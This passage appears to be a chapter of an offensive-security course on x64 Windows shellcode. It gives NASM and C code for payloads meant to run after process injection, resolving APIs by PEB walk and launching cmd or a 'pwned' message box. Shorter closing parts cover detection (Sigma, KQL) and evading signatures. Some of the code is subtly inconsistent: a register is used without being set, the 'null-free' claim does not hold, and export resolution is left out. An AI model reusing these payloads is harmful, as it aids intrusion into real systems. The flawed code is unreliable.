Chapter 140

Shellcode Development Fundamentals

Writing position-independent x64 shellcode from scratch: the rules that separate shellcode from regular code (no imports, no absolute addresses, no global data), PEB walk for API resolution, CALL/POP for RIP-relative string access, writing a MessageBox shellcode, building a TCP reverse shell payload, null-free encoding for exploit delivery, and how sandboxes and EDR emulators analyze shellcode behavior.

Scenario

You're developing a custom payload stub that will be injected via a process injection technique. The injection allocates an anonymous memory region and transfers your bytes there — but the bytes will execute at an unknown base address. You can't use compiled C directly (absolute addresses break), can't link to import tables (no PE loader), and can't reference global variables by address (relocated at link time). You need position-independent code: shellcode that discovers its own location at runtime and resolves every API it needs through the PEB.

The Rules of Shellcode

Shellcode constraints vs normal compiled code: 1. NO absolute addresses Compiled code: mov rax, 0x7FF601234567 (absolute VA — breaks when relocated) Shellcode: use RIP-relative addressing or runtime address discovery 2. NO import table Compiled code: call MessageBoxA (resolved by PE loader from IAT) Shellcode: walk PEB → find kernel32 → scan exports → hash-match API name 3. NO global/static variables in .data/.bss Compiled code: static char buffer[256]; (in .data section — fixed VA) Shellcode: everything on the stack or in registers 4. NO C runtime (CRT) No malloc, printf, string functions — implement inline or avoid 5. POSITION INDEPENDENT The shellcode must execute correctly at any address it's mapped to Test by running at different VAs and verifying no crashes/wrong behavior 6. NULL-FREE (for exploit delivery via string vulnerabilities) Null bytes (0x00) terminate strcpy/string functions used in exploit delivery Avoid: MOV EAX, 0x00000001 → use: XOR EAX,EAX; INC EAX (null-free) (Not required for direct injection — only for string-based exploit delivery) x64 calling convention (Windows, __fastcall): Arguments: RCX, RDX, R8, R9, then stack (right-to-left) Return: RAX Preserved: RBX, RBP, RDI, RSI, RSP, R12-R15 Scratch: RAX, RCX, RDX, R8, R9, R10, R11 Shadow space: caller must allocate 32 bytes on stack before CALL

PEB Walk API Resolution in NASM

; x64 NASM — find kernel32.dll base via PEB, then GetProcAddress by DJB2 hash
; Assemble: nasm -f bin shellcode.asm -o shellcode.bin

section .text
global _start

%macro SHADOWSPACE 0
    sub rsp, 0x28       ; 32-byte shadow space + 8 bytes for alignment
%endmacro
%macro RESTORERSP 0
    add rsp, 0x28
%endmacro

_start:
    mov rbp, rsp
    and rsp, ~0xF       ; 16-byte stack alignment

    ; Step 1: Get PEB (GS register + 0x60 = PEB on x64)
    mov rax, gs:[0x60]  ; rax = PEB
    mov rax, [rax+0x18] ; rax = PEB.Ldr (PEB_LDR_DATA*)
    mov rax, [rax+0x20] ; rax = Ldr.InMemoryOrderModuleList.Flink (first entry)
    mov rax, [rax]      ; skip exe (first entry)
    mov rax, [rax]      ; skip ntdll (second entry)
    ; Now at kernel32.dll LDR_DATA_TABLE_ENTRY (InMemoryOrderLinks)
    mov rax, [rax+0x20] ; DllBase = LDR_DATA_TABLE_ENTRY.DllBase (+0x30 from start, -0x10 for InMemoryOrderLinks offset)
    ; (exact offset: InMemoryOrderLinks is at +0x10, DllBase is at +0x30 → net +0x20 from Flink ptr)

    ; rax = kernel32.dll base address
    mov rbx, rax        ; save kernel32 base

    ; Step 2: Find GetProcAddress by hash from kernel32 export table
    mov rdi, rbx        ; rdi = module base
    call find_by_hash
    dq 0x7C0DFCAA      ; DJB2 hash of "GetProcAddress" — precomputed
    ; rax = GetProcAddress function pointer

    ; Save GetProcAddress
    mov r14, rax        ; r14 = GetProcAddress

    ; Step 3: Use GetProcAddress to find WinExec (or any target API)
    push rbx            ; kernel32 module handle
    lea rcx, [rel str_WinExec]
    SHADOWSPACE
    call r14            ; GetProcAddress(kernel32, "WinExec")
    RESTORERSP

    ; rax = WinExec
    lea rcx, [rel str_cmd]
    xor rdx, rdx
    inc rdx             ; SW_SHOWNORMAL = 1
    SHADOWSPACE
    call rax            ; WinExec("cmd", 1)
    RESTORERSP

    ; Exit cleanly
    xor ecx, ecx
    SHADOWSPACE
    call r13            ; ExitProcess(0) — r13 set up similarly
    RESTORERSP

str_WinExec: db "WinExec", 0
str_cmd:     db "cmd", 0

; find_by_hash: rdi = module base, next qword after CALL = target DJB2 hash
; returns rax = function VA
find_by_hash:
    pop r15             ; r15 = address after call (pointer to hash qword)
    mov r12, [r15]      ; r12 = target hash
    add r15, 8          ; skip the hash dword (adjust return address)
    push r15            ; push corrected return address back

    ; Parse PE export directory ...
    ; (omitted for space — standard export walk from ch133/ch134 translated to NASM)
    ret

MessageBox Shellcode — Full x64 Walkthrough

; Complete MessageBox shellcode — demonstrates all fundamentals
; NASM x64, ~150 bytes, null-free

section .text
global _start
_start:
    ; Prologue — set up clean stack
    push rbp
    mov  rbp, rsp
    sub  rsp, 0x60          ; local space + shadow space
    and  rsp, ~0xF

    ; Get kernel32 base via PEB
    xor  rax, rax
    mov  rax, gs:[60h]      ; PEB
    mov  rax, [rax+18h]     ; Ldr
    mov  rax, [rax+20h]     ; InMemoryOrderModuleList.Flink
    mov  rax, [rax]         ; skip exe
    mov  rax, [rax]         ; skip ntdll
    mov  r15, [rax+20h]     ; kernel32.DllBase

    ; Resolve LoadLibraryA from kernel32
    mov  rdi, r15
    mov  rsi, 0xEC0E4E8E    ; hash("LoadLibraryA")
    call resolve_export     ; rax = LoadLibraryA

    ; LoadLibrary("user32.dll")
    lea  rcx, [rel s_user32]
    sub  rsp, 0x28
    call rax
    add  rsp, 0x28
    mov  r14, rax           ; r14 = user32.dll base

    ; Resolve MessageBoxA from user32.dll
    mov  rdi, r14
    mov  rsi, 0xBC4DA2A8    ; hash("MessageBoxA")
    call resolve_export     ; rax = MessageBoxA

    ; MessageBoxA(NULL, "pwned", "hi", MB_OK)
    xor  rcx, rcx                       ; hWnd = NULL
    lea  rdx, [rel s_msg]               ; lpText
    lea  r8,  [rel s_title]             ; lpCaption
    xor  r9,  r9                        ; uType = MB_OK
    sub  rsp, 0x28
    call rax
    add  rsp, 0x28

    ; ExitProcess(0)
    mov  rdi, r15
    mov  rsi, 0x56A2B5F0    ; hash("ExitProcess")
    call resolve_export
    xor  rcx, rcx
    sub  rsp, 0x28
    call rax

    ; resolve_export(rdi=moduleBase, rsi=djb2hash) → rax=funcVA
resolve_export:
    ; parse PE export directory, walk names, hash each, compare with rsi
    ; (implementation: standard EAT walk — omitted for brevity)
    ret

s_user32: db "user32.dll", 0
s_msg:    db "pwned", 0
s_title:  db "hi", 0

Position-Independent Code from C

// Generate shellcode from C using MSVC/clang with specific compiler flags:
//   /GS-        disable stack cookies (adds CRT code)
//   /W0         no warnings
//   /nodefaultlib
//   Linker: /NODEFAULTLIB /ENTRY:main /SUBSYSTEM:CONSOLE /MERGE:.rdata=.text
//           /MERGE:.data=.text /ALIGN:16 /OUT:shellcode.exe
// Then extract .text section: objcopy / dd if=shellcode.exe
// OR use sRDI to convert a DLL into position-independent shellcode

// Key C techniques for PIC:
// 1. No global variables (they go to .data — fixed VA)
// 2. String literals: use local char arrays built on stack
// 3. API resolution: PEB walk (see ch133) always returns correct VA regardless of load address
// 4. Use __declspec(noinline) on functions to prevent inlining changing call structure

// Stack-built string (avoids .rdata string literal with fixed VA):
void BuildMsgString(char* out) {
    // "MessageBoxA" built character by character on stack
    out[0]='M'; out[1]='e'; out[2]='s'; out[3]='s';
    out[4]='a'; out[5]='g'; out[6]='e'; out[7]='B';
    out[8]='o'; out[9]='x'; out[10]='A'; out[11]='\0';
}

// Verify PIC: run shellcode in a test harness at multiple base addresses:
void TestShellcode(BYTE* sc, DWORD len) {
    // Allocate at address 0x10000000
    BYTE* buf1 = VirtualAlloc((LPVOID)0x10000000, len, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    // Allocate at 0x40000000
    BYTE* buf2 = VirtualAlloc((LPVOID)0x40000000, len, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(buf1, sc, len); memcpy(buf2, sc, len);
    // Both should execute identically — if not, shellcode has absolute address dependencies
    ((void(*)())buf1)(); ((void(*)())buf2)();
}

Detection Engineering

-- Shellcode detection approaches:

-- 1. MEMORY SCANNING: anomalous RWX MEM_PRIVATE regions
--    Sysmon does not directly flag this, but EDR memory scans do.
--    Signatures: PEB walk pattern bytes, common API hash values in shellcode

-- 2. BEHAVIORAL: process creates thread at anonymous memory region
--    CreateRemoteThread / NtCreateThreadEx with start address in
--    a MEM_PRIVATE PAGE_EXECUTE_READWRITE region → very high signal

-- 3. EMULATION: sandbox runs the shellcode bytes in a CPU emulator
--    CAPE, AnyRun, Hatching, VMRay — detect PEB walks, API calls made

-- Sigma: executable memory allocated then thread created (injection pattern)
title: Thread Created at Anonymous Executable Memory Region
logsource:
  product: windows
  category: create_remote_thread
detection:
  selection:
    EventID: 8
    StartAddress|startswith: '0x'
  filter_known:
    SourceImage|endswith:
      - '\chrome.exe'
      - '\teams.exe'
  condition: selection AND NOT filter_known
level: medium

-- MDE KQL: shellcode loaded in process — PEB walk characteristic bytes
DeviceEvents
| where ActionType == "MemoryRemoteWrite"
| where AdditionalFields has "PAGE_EXECUTE_READWRITE"
| where InitiatingProcessFileName !in~ ("MsMpEng.exe", "SenseNdr.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, AdditionalFields

Q&A

What makes custom shellcode harder to detect than Metasploit/Cobalt Strike shellcode?

Commercial and open-source frameworks generate shellcode with well-known patterns: Metasploit's shikata_ga_nai encoder has a recognizable decoder stub that signatures have matched for over a decade. Cobalt Strike's default beacon shellcode has a recognizable ReflectiveLoader export and beacon header format. Custom shellcode breaks these static signatures by definition — there's no pre-existing rule to match. But the advantage narrows quickly. Behavioral detection doesn't care about specific byte patterns; it observes: did this anonymous memory region get written and then executed? Did the process make a PEB walk? Did an API hash-resolution loop run? Did a socket connect to an external IP? All of these behaviors fire regardless of which tool generated the shellcode. CAPE sandbox emulation is particularly effective against custom shellcode because the emulator runs the actual bytes in a controlled environment and records every API call — PEB walk, LoadLibraryA, WSAConnect, VirtualAlloc — providing a behavioral profile that is signature-independent. The real advantage of custom shellcode is against environments that rely primarily on static file-hash detection and lack EDR behavioral monitoring. Against a mature SOC with CAPE integration and behavioral EDR, custom shellcode still generates behavioral signals. The gap narrows further when the shellcode is delivered inside an injected process rather than standalone — the behavioral telemetry for the host process (which may be notepad.exe) looks anomalous regardless of the shellcode's byte content.

← Ch139: Living off the Land — LOLBins Ch141: Beacon Object Files (BOFs) →